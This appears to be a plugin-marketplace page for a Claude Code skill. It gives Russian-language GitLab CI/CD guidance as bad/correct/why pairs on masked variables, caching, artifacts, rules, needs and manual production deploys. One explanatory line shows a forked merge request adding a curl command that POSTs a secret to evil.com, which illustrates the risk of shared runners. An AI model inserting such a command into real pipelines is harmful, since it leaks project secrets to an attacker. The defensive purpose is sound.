Help us improve
Share bugs, ideas, or general feedback.
From dex-skill-gitlab-ci
GitLab CI/CD — оптимизация, ловушки, безопасность. Активируется при gitlab ci, pipeline, .gitlab-ci.yml, ci cd, deploy, gitlab runner, artifacts, stages, jobs, auto devops, merge request pipeline, DAST, SAST
How this skill is triggered — by the user, by Claude, or both
Slash command
/dex-skill-gitlab-ci:gitlab-ciThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
Плохо: `script: echo "Deploying with $DB_PASSWORD"` — masked переменная раскрыта через echo
Share bugs, ideas, or general feedback.
Плохо: script: echo "Deploying with $DB_PASSWORD" — masked переменная раскрыта через echo
Правильно: никогда не echo/print переменные. Если нужна отладка — echo "DB_PASSWORD is set: $([ -n "$DB_PASSWORD" ] && echo yes || echo no)"
Почему: GitLab маскирует переменную в логах, НО echo обходит маскировку. Логи видны всем с доступом к проекту
Плохо: protected переменные на shared runner с tags: [] — любой MR из fork может запустить pipeline
Правильно: protected + masked переменные, rules: - if: $CI_COMMIT_BRANCH == "main" для jobs с секретами, или dedicated runner
Почему: злоумышленник делает fork, добавляет script: curl -X POST https://evil.com -d $SECRET, создаёт MR — pipeline запускается с секретами проекта
Плохо: services: [docker:dind] без DOCKER_TLS_CERTDIR
Правильно: DOCKER_TLS_CERTDIR: "/certs" + DOCKER_HOST: "tcp://docker:2376" + DOCKER_TLS_VERIFY: "1"
Почему: без TLS Docker daemon слушает на TCP без аутентификации. На shared runner другие jobs могут подключиться к вашему daemon и выполнить произвольный код
Плохо: cache: paths: [bin/Release/] (build output) + artifacts: paths: [.nuget/packages/] (dependencies)
Правильно: cache для dependencies (NuGet, npm), artifacts для build outputs (bin/, publish/)
Почему: cache может исчезнуть в любой момент (не гарантирован). Если build output в cache — следующий job получает пустую папку, pipeline падает. Artifacts — гарантированная передача между jobs
Плохо: cache: key: "global" — все ветки разделяют один cache
Правильно: cache: key: "$CI_COMMIT_REF_SLUG" — cache per branch
Почему: feature-ветка обновляет пакет → cache обновляется → develop получает неожиданную версию зависимости
Плохо: artifacts: paths: ["**/bin/Release/"] — хранятся вечно
Правильно: artifacts: expire_in: 1 hour (или 1 day для отладки)
Почему: каждый pipeline оставляет артефакты → диск GitLab переполняется. 100 пайплайнов × 200MB = 20GB мусора
Плохо: only: [main, develop] — deprecated, ограниченная логика
Правильно: rules: - if: $CI_COMMIT_BRANCH =~ /^(main|develop)$/
Почему: only/except не комбинируется (OR-логика), не поддерживает changes:, exists:, variables. rules — полный контроль: when, allow_failure, variables
Плохо: test:unit и test:integration в одном stage без needs: — ждут ВСЕ jobs предыдущего stage
Правильно: needs: [build] — стартуют сразу после build, не ждут lint и другие jobs
Почему: pipeline 5 stages × 3 jobs = 15 последовательных шагов вместо DAG-графа. Pipeline 20 мин вместо 8
Плохо: push → pipeline запускается → ещё push → ОБА pipeline работают параллельно
Правильно: interruptible: true на всех non-deploy jobs + Auto-cancel redundant pipelines в настройках
Почему: 5 push за 10 минут = 5 параллельных pipeline, shared runner перегружен, все ждут в очереди
Плохо: dotnet restore --locked-mode без packages.lock.json в репо
Правильно: сначала dotnet restore --use-lock-file локально → commit packages.lock.json → потом --locked-mode в CI
Почему: --locked-mode без lock-файла тихо падает (exit code 1), но сообщение неочевидно. CI красный, причина непонятна
Плохо: dotnet test --no-build в отдельном job без artifacts от build job
Правильно: needs: [build] + artifacts: true чтобы получить bin/ из build job
Почему: --no-build ожидает скомпилированные файлы. Без artifacts — Could not find testhost или FileNotFoundException
Плохо: coverage: '/Coverage: (\d+)%/' — regex не совпадает с форматом вывода
Правильно: проверь формат вывода dotnet test с coverlet → напиши regex под реальный output, например '/Total\s+\|\s+(\d+\.?\d*)%/'
Почему: GitLab тихо игнорирует несовпавший regex — coverage показывает 0% или пусто. Нет ошибки, нет предупреждения
Плохо: автоматический deploy в production на push в main
Правильно: when: manual + environment: name: production + protected branch + required approvals
Почему: сломанный код в main = автоматически сломанный production. Manual gate даёт время на smoke test staging
Плохо: kubectl set image ... && echo "Done" — job зелёный, но pods крашатся
Правильно: kubectl set image ... && kubectl rollout status deployment/myapp --timeout=300s
Почему: set image только обновляет spec. Pods могут CrashLoopBackOff, но CI уже зелёный. rollout status ждёт реального запуска
rules: вместо only:/except:, needs: для DAGinterruptible: true на non-deploy jobs--locked-mode с packages.lock.json в репоnpx claudepluginhub dex-it/claude-code-marketplace --plugin dex-skill-gitlab-ciProvides UI/UX resources: 50+ styles, color palettes, font pairings, guidelines, charts for web/mobile across React, Next.js, Vue, Svelte, Tailwind, React Native, Flutter. Aids planning, building, reviewing interfaces.
Fetches up-to-date documentation from Context7 for libraries and frameworks like React, Next.js, Prisma. Use for setup questions, API references, and code examples.